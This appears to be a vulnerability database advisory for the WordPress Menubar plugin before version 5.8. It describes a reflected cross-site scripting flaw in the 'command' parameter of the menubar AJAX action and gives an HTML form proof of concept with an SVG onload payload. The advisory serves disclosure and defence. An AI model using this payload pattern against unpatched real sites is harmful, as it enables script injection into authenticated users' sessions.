WordPress Plugin Vulnerabilities
Menubar < 5.8 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the command parameter before outputting it back in the response via the menubar AJAX action (available to any authenticated users), leading to a Reflected Cross-Site Scripting
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="menubar" />
<input type="hidden" name="command" value="<svg/onload=alert(/XSS/)>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Affects Plugins
Fixed in version 5.8
References
Classification
Miscellaneous
Original Researcher
p7e4
Submitter
p7e4
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-04-04 (about 3 months ago)
Added
2022-04-04 (about 3 months ago)
Last Updated
2022-04-09 (about 2 months ago)